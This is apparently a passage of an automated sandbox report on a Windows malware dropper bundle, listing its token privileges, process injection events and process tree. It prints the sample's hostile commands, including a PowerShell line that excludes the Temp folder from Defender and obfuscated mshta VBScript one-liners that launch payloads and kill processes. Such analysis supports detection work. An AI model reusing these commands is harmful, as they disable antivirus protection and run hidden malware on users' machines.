Token: SeCreatePagefilePrivilege	860	svchost.exe
Token: SeShutdownPrivilege	3328	svchost.exe
Token: SeCreatePagefilePrivilege	3328	svchost.exe
Token: SeCreateTokenPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeAssignPrimaryTokenPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeLockMemoryPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeIncreaseQuotaPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeMachineAccountPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeTcbPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeSecurityPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeTakeOwnershipPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeLoadDriverPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeSystemProfilePrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeSystemtimePrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeProfSingleProcessPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeIncBasePriorityPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeCreatePagefilePrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeCreatePermanentPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeBackupPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeRestorePrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeShutdownPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeDebugPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeAuditPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeSystemEnvironmentPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeChangeNotifyPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeRemoteShutdownPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeUndockPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeSyncAgentPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeEnableDelegationPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeManageVolumePrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeImpersonatePrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: SeCreateGlobalPrivilege	4548	Thu165bd34b1e1d4d81.exe
Token: 31	4548	Thu165bd34b1e1d4d81.exe
Token: 32	4548	Thu165bd34b1e1d4d81.exe
Token: 33	4548	Thu165bd34b1e1d4d81.exe
Token: 34	4548	Thu165bd34b1e1d4d81.exe
Token: 35	4548	Thu165bd34b1e1d4d81.exe
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	5072	Thu161580bf75.exe
Token: SeDebugPrivilege	1092	taskkill.exe
Token: SeRestorePrivilege	5412	WerFault.exe
Token: SeBackupPrivilege	5412	WerFault.exe
Token: SeBackupPrivilege	5412	WerFault.exe
Token: SeCreateTokenPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeAssignPrimaryTokenPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeLockMemoryPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeIncreaseQuotaPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeMachineAccountPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeTcbPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeSecurityPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeTakeOwnershipPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeLoadDriverPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeSystemProfilePrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeSystemtimePrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeProfSingleProcessPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe
Token: SeIncBasePriorityPrivilege	2076	1YwD9ZqQyzsXxSid0bUX5EDp.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4540	Thu16f3de88a335950bb.tmp

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1564	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4784 wrote to memory of 1184	4784	setup_x86_x64_install.exe	86
PID 4784 wrote to memory of 1184	4784	setup_x86_x64_install.exe	86
PID 4784 wrote to memory of 1184	4784	setup_x86_x64_install.exe	86
PID 1184 wrote to memory of 2380	1184	setup_installer.exe	87
PID 1184 wrote to memory of 2380	1184	setup_installer.exe	87
PID 1184 wrote to memory of 2380	1184	setup_installer.exe	87
PID 2380 wrote to memory of 928	2380	setup_install.exe	91
PID 2380 wrote to memory of 928	2380	setup_install.exe	91
PID 2380 wrote to memory of 928	2380	setup_install.exe	91
PID 2380 wrote to memory of 1860	2380	setup_install.exe	92
PID 2380 wrote to memory of 1860	2380	setup_install.exe	92
PID 2380 wrote to memory of 1860	2380	setup_install.exe	92
PID 2380 wrote to memory of 4976	2380	setup_install.exe	93
PID 2380 wrote to memory of 4976	2380	setup_install.exe	93
PID 2380 wrote to memory of 4976	2380	setup_install.exe	93
PID 2380 wrote to memory of 1756	2380	setup_install.exe	94
PID 2380 wrote to memory of 1756	2380	setup_install.exe	94
PID 2380 wrote to memory of 1756	2380	setup_install.exe	94
PID 2380 wrote to memory of 4792	2380	setup_install.exe	110
PID 2380 wrote to memory of 4792	2380	setup_install.exe	110
PID 2380 wrote to memory of 4792	2380	setup_install.exe	110
PID 2380 wrote to memory of 2100	2380	setup_install.exe	95
PID 2380 wrote to memory of 2100	2380	setup_install.exe	95
PID 2380 wrote to memory of 2100	2380	setup_install.exe	95
PID 2380 wrote to memory of 3440	2380	setup_install.exe	109
PID 2380 wrote to memory of 3440	2380	setup_install.exe	109
PID 2380 wrote to memory of 3440	2380	setup_install.exe	109
PID 2380 wrote to memory of 3488	2380	setup_install.exe	108
PID 2380 wrote to memory of 3488	2380	setup_install.exe	108
PID 2380 wrote to memory of 3488	2380	setup_install.exe	108
PID 928 wrote to memory of 2928	928	cmd.exe	107
PID 928 wrote to memory of 2928	928	cmd.exe	107
PID 928 wrote to memory of 2928	928	cmd.exe	107
PID 2380 wrote to memory of 2796	2380	setup_install.exe	106
PID 2380 wrote to memory of 2796	2380	setup_install.exe	106
PID 2380 wrote to memory of 2796	2380	setup_install.exe	106
PID 2380 wrote to memory of 4116	2380	setup_install.exe	97
PID 2380 wrote to memory of 4116	2380	setup_install.exe	97
PID 2380 wrote to memory of 4116	2380	setup_install.exe	97
PID 4976 wrote to memory of 2516	4976	cmd.exe	105
PID 4976 wrote to memory of 2516	4976	cmd.exe	105
PID 4976 wrote to memory of 2516	4976	cmd.exe	105
PID 2380 wrote to memory of 3448	2380	setup_install.exe	104
PID 2380 wrote to memory of 3448	2380	setup_install.exe	104
PID 2380 wrote to memory of 3448	2380	setup_install.exe	104
PID 1860 wrote to memory of 3112	1860	cmd.exe	103
PID 1860 wrote to memory of 3112	1860	cmd.exe	103
PID 1860 wrote to memory of 3112	1860	cmd.exe	103
PID 2380 wrote to memory of 3384	2380	setup_install.exe	102
PID 2380 wrote to memory of 3384	2380	setup_install.exe	102
PID 2380 wrote to memory of 3384	2380	setup_install.exe	102
PID 1756 wrote to memory of 5072	1756	cmd.exe	98
PID 1756 wrote to memory of 5072	1756	cmd.exe	98
PID 3328 wrote to memory of 1892	3328	svchost.exe	99
PID 3328 wrote to memory of 1892	3328	svchost.exe	99
PID 2796 wrote to memory of 3948	2796	cmd.exe	100
PID 2796 wrote to memory of 3948	2796	cmd.exe	100
PID 2796 wrote to memory of 3948	2796	cmd.exe	100
PID 3488 wrote to memory of 2944	3488	cmd.exe	101
PID 3488 wrote to memory of 2944	3488	cmd.exe	101
PID 3448 wrote to memory of 1920	3448	cmd.exe	117
PID 3448 wrote to memory of 1920	3448	cmd.exe	117
PID 3448 wrote to memory of 1920	3448	cmd.exe	117
PID 4792 wrote to memory of 3276	4792	cmd.exe	116

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4784
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1184
- - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2380
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:928
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu166f9a8bbe80.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1860
    - - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu166f9a8bbe80.exe
        
        Thu166f9a8bbe80.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3112
      - C:\Users\Admin\Pictures\Adobe Films\CTqxJvmkZWJ2hSOaCWXQYm0F.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\CTqxJvmkZWJ2hSOaCWXQYm0F.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:3012
      - C:\Users\Admin\Pictures\Adobe Films\iXQYAVs6MRuQ70gZkJxgUQD0.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\iXQYAVs6MRuQ70gZkJxgUQD0.exe"
        6⤵
        Executes dropped EXE
        
        PID:6016
      - C:\Users\Admin\Pictures\Adobe Films\oMfUtIrKOohZfNXsczbdLhWB.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\oMfUtIrKOohZfNXsczbdLhWB.exe"
        6⤵
        Executes dropped EXE
        
        PID:6004
      - C:\Users\Admin\Pictures\Adobe Films\yQTciQ6mzkKqUfVaQ7PT65g4.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\yQTciQ6mzkKqUfVaQ7PT65g4.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:5992
        
        C:\Program Files (x86)\Company\NewProduct\inst002.exe
        
        "C:\Program Files (x86)\Company\NewProduct\inst002.exe"
        7⤵
        Executes dropped EXE
        
        PID:4064
        
        C:\Program Files (x86)\Company\NewProduct\cm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cm3.exe"
        7⤵
        Executes dropped EXE
        
        PID:5460
        
        C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe
        
        "C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"
        7⤵
        Executes dropped EXE
        
        PID:5420
      - C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe"
        6⤵
        Executes dropped EXE
        
        PID:5212
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRipt: ClOsE (CrEATEoBjeCT ( "wsCrIpt.shELl" ).RUn( "C:\Windows\system32\cmd.exe /Q /c TyPe ""C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe"" > ..\aDLsKHQL9R.exE && STaRT ..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K9 & if """" == """" for %Q IN ( ""C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe"" ) do taskkill /f /Im ""%~nxQ"" ", 0 , TRUe ))
        7⤵
        
        PID:5952
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /Q /c TyPe "C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe" > ..\aDLsKHQL9R.exE && STaRT ..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K9 & if "" == "" for %Q IN ("C:\Users\Admin\Pictures\Adobe Films\UkcKlVZQaU1T_Tk9fg4DF8Ki.exe") do taskkill /f /Im "%~nxQ"
        8⤵
        
        PID:5508
        
        C:\Users\Admin\AppData\Local\Temp\aDLsKHQL9R.exE
        
        ..\aDLsKHQL9R.exe -pb0sP2z4l4ZpZ1d2K9
        9⤵
        Executes dropped EXE
        
        PID:2160
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /Im "UkcKlVZQaU1T_Tk9fg4DF8Ki.exe"
        9⤵
        Kills process with taskkill
        
        PID:1332
      - C:\Users\Admin\Pictures\Adobe Films\IZhhQdf_ACsnY6fHlUQZ46_g.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\IZhhQdf_ACsnY6fHlUQZ46_g.exe"
        6⤵
        Executes dropped EXE
        
        PID:5192
      - C:\Users\Admin\Pictures\Adobe Films\Xq3lxPgxhf9lRFGn1DpnsgGn.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Xq3lxPgxhf9lRFGn1DpnsgGn.exe"
        6⤵
        Executes dropped EXE
        
        PID:5176
      - C:\Users\Admin\Pictures\Adobe Films\KY178SxWqF7xJkZmPeytWy0D.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\KY178SxWqF7xJkZmPeytWy0D.exe"
        6⤵
        Executes dropped EXE
        
        PID:5188
      - C:\Users\Admin\Pictures\Adobe Films\_tPSqRpRyrQiGtNHdV8ZKH2_.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\_tPSqRpRyrQiGtNHdV8ZKH2_.exe"
        6⤵
        Executes dropped EXE
        
        PID:5160
      - C:\Users\Admin\Pictures\Adobe Films\aVL0zwShl8SDM1Nhz4DDXwuK.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\aVL0zwShl8SDM1Nhz4DDXwuK.exe"
        6⤵
        Executes dropped EXE
        
        PID:4520
      - C:\Users\Admin\Pictures\Adobe Films\nDem2Jj4S0zSItlPpl20peBR.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\nDem2Jj4S0zSItlPpl20peBR.exe"
        6⤵
        Executes dropped EXE
        
        PID:2348
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2348 -s 268
        7⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:4860
      - C:\Users\Admin\Pictures\Adobe Films\tKVL2GRlhB4ATa0L_pLwGWwS.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\tKVL2GRlhB4ATa0L_pLwGWwS.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:5016
      - C:\Users\Admin\Pictures\Adobe Films\XbzmnUPhLrMtgqN8uKCWL4Vr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\XbzmnUPhLrMtgqN8uKCWL4Vr.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:2272
      - C:\Users\Admin\Pictures\Adobe Films\xU4QVhhGGYDpDzhnPmCPdFLD.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\xU4QVhhGGYDpDzhnPmCPdFLD.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4840
      - C:\Users\Admin\Pictures\Adobe Films\fOQQaX1MpyY3WzsCPUPgeZgi.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\fOQQaX1MpyY3WzsCPUPgeZgi.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5308
      - C:\Users\Admin\Pictures\Adobe Films\D6eI4LPczor41omES2LAPc49.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\D6eI4LPczor41omES2LAPc49.exe"
        6⤵
        Executes dropped EXE
        
        PID:3380
      - C:\Users\Admin\Pictures\Adobe Films\IXWADmXTn7yzfCjqQJR3tQtJ.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\IXWADmXTn7yzfCjqQJR3tQtJ.exe"
        6⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5128
      - C:\Users\Admin\Pictures\Adobe Films\1YwD9ZqQyzsXxSid0bUX5EDp.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1YwD9ZqQyzsXxSid0bUX5EDp.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2076
      - C:\Users\Admin\Pictures\Adobe Films\y7eBlbaWBu4kU7qKHtScbK5T.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\y7eBlbaWBu4kU7qKHtScbK5T.exe"
        6⤵
        Executes dropped EXE
        
        PID:2256
      - C:\Users\Admin\Pictures\Adobe Films\kmFxwYZ2_riHTMNxvwhtahYb.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\kmFxwYZ2_riHTMNxvwhtahYb.exe"
        6⤵
        Executes dropped EXE
        
        PID:2096
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu16205451b994.exe /mixone
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4976
    - - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16205451b994.exe
        
        Thu16205451b994.exe /mixone
        5⤵
        Executes dropped EXE
        
        PID:2516
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2516 -s 308
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5432
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu161580bf75.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1756
    - - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu161580bf75.exe
        
        Thu161580bf75.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5072
      - C:\Users\Admin\AppData\Roaming\7231721.scr
        
        "C:\Users\Admin\AppData\Roaming\7231721.scr" /S
        6⤵
        Executes dropped EXE
        
        PID:5396
      - C:\Users\Admin\AppData\Roaming\6647442.scr
        
        "C:\Users\Admin\AppData\Roaming\6647442.scr" /S
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:5484
      - C:\Users\Admin\AppData\Roaming\6036748.scr
        
        "C:\Users\Admin\AppData\Roaming\6036748.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5656
      - C:\Users\Admin\AppData\Roaming\6686198.scr
        
        "C:\Users\Admin\AppData\Roaming\6686198.scr" /S
        6⤵
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5220
      - C:\Users\Admin\AppData\Roaming\3990905.scr
        
        "C:\Users\Admin\AppData\Roaming\3990905.scr" /S
        6⤵
        Executes dropped EXE
        
        PID:4536
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu165bd34b1e1d4d81.exe
      4⤵
      PID:2100
    - - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu165bd34b1e1d4d81.exe
        
        Thu165bd34b1e1d4d81.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4548
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4548 -s 1792
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5468
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu164ba03be19.exe
      4⤵
      PID:4116
    - - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu164ba03be19.exe
        
        Thu164ba03be19.exe
        5⤵
        Executes dropped EXE
        
        PID:5016
      - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu164ba03be19.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu164ba03be19.exe
        6⤵
        Executes dropped EXE
        
        PID:1944
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu167d514d2a7ac5a.exe
      4⤵
      PID:3384
    - - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu167d514d2a7ac5a.exe
        
        Thu167d514d2a7ac5a.exe
        5⤵
        Executes dropped EXE
        
        PID:4544
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu1653d94a8da.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3448
    - - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu1653d94a8da.exe
        
        Thu1653d94a8da.exe
        5⤵
        Executes dropped EXE
        
        PID:1920
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu1653d94a8da.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu1653d94a8da.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        
        PID:3660
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu16f3de88a335950bb.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2796
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu16f584bd3686.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3488
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu16466b26f8b7.exe
      4⤵
      PID:3440
    - - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16466b26f8b7.exe
        
        Thu16466b26f8b7.exe
        5⤵
        Executes dropped EXE
        
        PID:4816
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 304
        6⤵
        Drops file in Windows directory
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:5412
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Thu1628aafb3efd7c3d.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4792
    - - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu1628aafb3efd7c3d.exe
        
        Thu1628aafb3efd7c3d.exe
        5⤵
        Executes dropped EXE
        
        PID:3276
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 308
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5440

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv U7uDbNUVK0qEePFEnXb6KQ.0
1⤵
PID:4860
- C:\Windows\System32\sihclient.exe
  C:\Windows\System32\sihclient.exe /cv U7uDbNUVK0qEePFEnXb6KQ.0.2
  2⤵
  PID:2192

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:2360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s W32Time
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1288

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 638d76f9cd8a8ff69c52fd20b3886a7b U7uDbNUVK0qEePFEnXb6KQ.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:3984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3328
- C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  2⤵
  PID:1892

C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f3de88a335950bb.exe
Thu16f3de88a335950bb.exe
1⤵
- Executes dropped EXE
PID:3948
- C:\Users\Admin\AppData\Local\Temp\is-U8VP1.tmp\Thu16f3de88a335950bb.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-U8VP1.tmp\Thu16f3de88a335950bb.tmp" /SL5="$3016C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f3de88a335950bb.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4580
- - C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f3de88a335950bb.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f3de88a335950bb.exe" /SILENT
    3⤵
    - Executes dropped EXE
    PID:1556
  - - C:\Users\Admin\AppData\Local\Temp\is-2TUIS.tmp\Thu16f3de88a335950bb.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-2TUIS.tmp\Thu16f3de88a335950bb.tmp" /SL5="$4016C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f3de88a335950bb.exe" /SILENT
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Program Files directory
      Suspicious use of FindShellTrayWindow
      PID:4540
    - - C:\Users\Admin\AppData\Local\Temp\is-HMKEO.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-HMKEO.tmp\postback.exe" ss1
        5⤵
        Executes dropped EXE
        
        PID:6040
    - - C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe
        
        "C:\Program Files (x86)\FarLabUninstaller\FarLabUninstaller.exe" ss1
        5⤵
        Executes dropped EXE
        
        PID:680
    - - C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe
        
        "C:\Program Files (x86)\FarLabUninstaller\NDP472-KB4054531-Web.exe" /q /norestart
        5⤵
        Executes dropped EXE
        
        PID:5368
      - C:\cd1fb31a915a56e5f3809a105885\Setup.exe
        
        C:\cd1fb31a915a56e5f3809a105885\\Setup.exe /q /norestart /x86 /x64 /web
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2936

C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu16f584bd3686.exe
Thu16f584bd3686.exe
1⤵
- Executes dropped EXE
PID:2944

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu1653d94a8da.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS0A4612F3\Thu1653d94a8da.exe") do taskkill /F -Im "%~NxU"
1⤵
PID:3252
- C:\Users\Admin\AppData\Local\Temp\09xU.exE
  09xU.EXE -pPtzyIkqLZoCarb5ew
  2⤵
  - Executes dropped EXE
  PID:3584
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
    3⤵
    PID:2936
  - - C:\Windows\SysWOW64\cmd.exe
